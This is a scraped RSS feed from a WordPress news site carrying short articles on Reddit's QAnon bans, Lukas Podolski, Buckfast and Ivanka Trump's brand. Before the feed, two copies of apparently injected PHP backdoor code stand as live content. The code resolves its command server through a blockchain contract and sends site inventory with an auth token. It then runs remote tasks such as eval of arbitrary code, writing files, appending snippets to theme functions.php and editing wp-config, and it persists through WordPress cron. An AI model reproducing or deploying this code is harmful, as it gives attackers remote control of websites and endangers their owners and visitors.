// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); 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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); promoting – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 13 Sep 2018 01:12:53 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png promoting – Brief News https://briefnews.eu 32 32 Reddit bans communities promoting QAnon conspiracy theory https://briefnews.eu/reddit-bans-communities-promoting-qanon-conspiracy-theory/ https://briefnews.eu/reddit-bans-communities-promoting-qanon-conspiracy-theory/#respond Thu, 13 Sep 2018 01:12:53 +0000 http://briefnews.eu/reddit-bans-communities-promoting-qanon-conspiracy-theory/

Reddit’s tougher policies just led to more community bans, albeit not for typical reasons. The site has confirmed to Slate that it shut down subreddits associated with the QAnon conspiracy theory, including GreatAwakening, QProofs and thestorm, among others. While the company didn’t say exactly what had prompted the bans, it noted that its rules bar activity that “incites violence, disseminates personal information, or harasses.” It had banned a related board in March, but it hadn’t conducted such a sweeping response until now.

The theory revolves around a cult-like devotion to Q, an anonymous 4chan poster who has posted cryptic messages claiming Special Counsel lead Robert Mueller is really working on behalf of Donald Trump to expose a conspiracy inside the Democratic Party. Despite a lack of tangible evidence or even clues as to Q’s origins, the group has amassed thousands of followers, some of whom have made a point of demonstrating at Trump rallies. They’re both completely convinced the theory is real and willing to go to significant lengths to defend it — it’s easy to see how that could lead to harassment or other policy violations.

This probably won’t stop QAnon’s most loyal supporters, who could head to Facebook and other social networks. They won’t always have the anonymity that Reddit affords, though, and that could lead to some of them going quiet worried that friends and family will ostracize them. This certainly isn’t the first time Reddit has cracked down on multiple subreddits. It’s certainly one of the more unusual, however, and it may have a tangible effect when many of QAnon’s members can’t congregate in person.

Source: Slate

]]> https://briefnews.eu/reddit-bans-communities-promoting-qanon-conspiracy-theory/feed/ 0 ‘Japan should follow US example in promoting football’ – World Cup winner Podolski https://briefnews.eu/japan-should-follow-us-example-in-promoting-football-world-cup-winner-podolski/ https://briefnews.eu/japan-should-follow-us-example-in-promoting-football-world-cup-winner-podolski/#respond Fri, 30 Mar 2018 17:53:42 +0000 http://briefnews.eu/japan-should-follow-us-example-in-promoting-football-world-cup-winner-podolski/

German World Cup winner Lukas Podolski, who moved to the Japan Professional Football League last year, says that his team Vissel Kobe has every chance of becoming the top football club in Asia.

The 32-year-old forward, who retired from international football last year, having amassed 130 appearances, the third-highest total in German history, announced his transfer to Japanese club Vissel Kobe in March last year – much to the surprise of football fans.

Speaking to RT’s Stan Collymore, Podolski says that he has settled in well in the Land of the Rising Sun.

“It’s all good for now. I am nearly eight or nine [months] here now. The life is good, for me and my family. Everything is good: the food, the safety. People are friendly,” he said.

The third-highest scorer for Die Mannschaft is also positive about Vissel Kobe’s future, and is aiming to help the team become the dominant force in Asian football in the coming seasons.

“I hope that we can bring this club to another level. But it takes time, it can’t be done in one year. In three or five years we can make this club the team in Asia. This is our target, that’s why I’m here. To help the club on the pitch and off the pitch.”

As for the Japanese national team’s hopes for the World Cup in Russia this summer and beyond, former Bayern Munich and Arsenal striker Podolski was cautiously optimistic, noting that the right steps must be taken to popularize football more in a country where baseball is seen as the top sport.

“It would be interesting to see. There’s a lot of potential in this country. Japan has to push football in the next years, closer to the level of baseball. Look at the US, they have NFL, baseball, basketball, but they still have football, and they have a good marketing for it. And I think this is the key point for the J1 League, to push [the level of popularity of football] in the next years.”

He added that bringing big football names to the country is important, but it should be done to share experience with local players, not only for the sake of attracting fans.

“It’s important [to bring the big names], but it’s not everything. You can look at China. A lot of players went there, but they have moved back already. So it’s not only about bringing the names, it’s about making the Japanese players better, to make the quality of the J1 League better, to bring more Japanese players to Europe, and develop football [in the country].”

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]]> https://briefnews.eu/japan-should-follow-us-example-in-promoting-football-world-cup-winner-podolski/feed/ 0 Antiques Roadshow SLAMMED for promoting ‘anti-social’ alcohol amid demands to AXE episode https://briefnews.eu/antiques-roadshow-slammed-for-promoting-anti-social-alcohol-amid-demands-to-axe-episode/ https://briefnews.eu/antiques-roadshow-slammed-for-promoting-anti-social-alcohol-amid-demands-to-axe-episode/#respond Fri, 16 Mar 2018 13:11:21 +0000 http://briefnews.eu/antiques-roadshow-slammed-for-promoting-anti-social-alcohol-amid-demands-to-axe-episode/

The alcoholic beverage is one of Scotland’s most popular drinks but has been tarnished in recent years since being linked to anti-social behaviour and criminal activity. 

Antiques Roadshow were set to film an episode at Buckfast Abbey in Buckfastleigh in September. 

However, the BBC has come under fire from Neil who has begged them to stop production on the instalment. 

He wrote in a letter: “For many years there has been great concern in Scotland about the sale of Buckfast and its adverse impact on the behaviour of those who drink it, owing to its excessive caffeine content, etc.

“A lot of anti-social behaviour is caused by the use of this drink. 

“By using this Abbey as a location of this (excellent) programme it could send out the wrong message, especially to young people, that the BBC was giving respectability and credibility to this drink.”

He continued: “My concern is that this programme could be used, even inadvertently, to advertise Buckfast.

“Viewers might get the impression that the BBC is endorsing Buckfast as a product.”

What’s more, Neil went on to beg the broadcaster to prevent this episode from being made. 

A spokesperson from the BBC told Express.co.uk: “Buckfast Abbey is a site of historical significance, celebrating one thousand years of worship in 2018, and is set in a beautiful landscape in an area of the country that the Roadshow has not visited in some time.

“It also has facilities to cater for the large number of visitors the Roadshow expects to draw to its free, public events.”

They added there would be no promotion of the tonic wine on the show. 

Meanwhile, a spokesperson for J Chandler and Co told The I: “We are somewhat surprised by Mr Neil’s comments. We wrote to Mr Neil when he was the health secretary.

“We received a reply back clearly indicating that the Scottish Government has no evidence to suggest that our brand causes any issues.”

Buckfast has been linked to criminal behaviour for the past few years. 

In 2015, the Scottish Prison Service reported more than 43 per cent of criminals had consumed the tonic wine before their offence. 

What’s more, Buckfast has been linked to over 6,500 reports of antisocial behaviour in the country. 

Antiques Roadshow will return to the BBC later this year. 

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]]> https://briefnews.eu/antiques-roadshow-slammed-for-promoting-anti-social-alcohol-amid-demands-to-axe-episode/feed/ 0 Ivanka Trump is promoting her own brand by wearing its products, pushing the limits of ethics laws https://briefnews.eu/ivanka-trump-is-promoting-her-own-brand-by-wearing-its-products-pushing-the-limits-of-ethics-laws/ https://briefnews.eu/ivanka-trump-is-promoting-her-own-brand-by-wearing-its-products-pushing-the-limits-of-ethics-laws/#respond Sat, 06 Jan 2018 23:32:27 +0000 http://briefnews.eu/ivanka-trump-is-promoting-her-own-brand-by-wearing-its-products-pushing-the-limits-of-ethics-laws/ Ivanka TrumpWin McNamee/Getty Images

  • Ivanka Trump regularly advertises her fashion brand’s clothes and accessories by wearing them while conducting official government business. 
  • The Wall Street Journal found that the first daughter wore her brand’s products in 68% of her social media posts documenting official government business during her first seven months as an official White House employee.
  • Ethics experts say that while the practice doesn’t violate any laws, Ivanka is likely reaping enhanced personal profits by promoting her brand from her public platform. 

Ivanka Trump, the president’s eldest daughter and top White House adviser, may no longer control the day-to-day operations of her fashion company, but she continues to advertise her eponymous brand’s clothes, shoes, and accessories by regularly wearing them while conducting government business and in her heavily documented personal life.

The Wall Street Journal recently reported that the first daughter wore her brand’s products in 68% of her Instagram, Twitter, and Facebook posts documenting official government business between March 29, when she officially became a White House employee, and the end of October. Business Insider found that six of the 24 outfits the first daughter wore in the same category of posts in November and December featured her brand’s dresses, bags, or shoes. The items were identified by the celebrity-fashion website Star Style.

And these numbers don’t include outfits Ivanka wore in non-work related social media posts or in public work appearances not documented on her accounts.

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Testing the ethical limits 

While the first daughter has placed her privately-held company in a trust run by her husband’s siblings, she has not divested from it and continues to receive financial information about the company and an annual multi-million dollar share of its profits. 

Unlike her father, whose status as president shields him from conflict of interest laws, Ivanka, as an executive branch employee, is prohibited from promoting brands from which she benefits or “endorsing products, people, or companies.” Fundamentally, the ethics rules seek to prevent government officials from misusing their office for private gain. 

The first daughter has taken some steps to distance herself from her brand, including separating her personal social media accounts from those run by the company and removing her photo from the company’s marketing materials, but many government ethics experts say that while she’s not violating the law, she’s not doing enough to minimize personally profiting from her powerful public position.

“Ivanka Trump is testing the boundaries on federal rules that bar government employees from using their position to promote brands that personally enrich them,” Guian McKee, a professor of presidential studies at the University of Virginia, told the Journal.

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Responding to The Journal’s reporting, Ivanka denied that she is motivated by profit, using her decision to take her unpaid White House job as proof.

“If what motivated me was to grow my businesses and make money, I would have stayed in New York and done just that,” she said in a statement to The Journal.

Of course, Ivanka’s high-profile administration post has significantly boosted her domestic and international fame, giving her arguably a much broader personal platform than she would otherwise have had. 

Walter Shaub, the former head of the Office of Government Ethics under Presidents Barack Obama and Donald Trump, called Ivanka’s response to The Journal’s reporting “laughable” during a Wednesday CNN segment. 

“She’s one of the rare government appointees in the White House who has not divested her financial interests and that puts a higher burden on her to be conscious of what she’s doing at all times,” Shaub said, adding that Ivanka could have divested her financial interests or donated her profits while in office. 

‘A marketing genius’

Ivanka’s brand was built on her personal celebrity. In recent years, she’s marketed both her company and herself as a champion of working women, publishing a book last year, “Women Who Work: Rewriting the Rules for Success,” that offers advice on achieving career and personal goals. 

During her father’s presidential bid, Ivanka, one of the candidate’s chief advisers, regularly marketed her brand from the campaign trail. In July 2016, her Twitter account shared a photo of her delivering a speech at the Republican National Convention and linked to the Ivanka Trump brand dress she wore, encouraging followers to “shop Ivanka’s look.” Later that day, the $ 158 blush colored sheath dress sold out. 

Many have argued that Ivanka is intentional about what she wears in public — and what appears on her online accounts — and knows they will receive media attention, including from fashion sites that are paid by retailers for sales made through their links to the products they sell. 

“Ivanka is a marketing genius,” CNN correspondent Cristina Alesci said during the Wednesday CNN segment. “So she knows what she wears will get covered.” 

Ivanka’s marketing practices began receiving heightened scrutiny following the general election. During the presidential transition, which Ivanka was involved with, the company marketed a $ 10,800 bracelet Ivanka wore during a CBS News “60 Minutes” interview, a move that sparked backlash. 

Many items the first daughter has worn while in her government role — often reported on by fashion sites, which provide links to purchase the items – have sold out soon after. As CNN pointed out earlier this week, the first daughter wore the “Ivanka Trump cold-shoulder sweater dress” at a NASA event on December 11 and shortly thereafter the dress sold out on Macy’s website.

Sen. Susan Collins and the first daughter, wearing Ivanka Trump brand boots.Robert F. Bukaty/AP

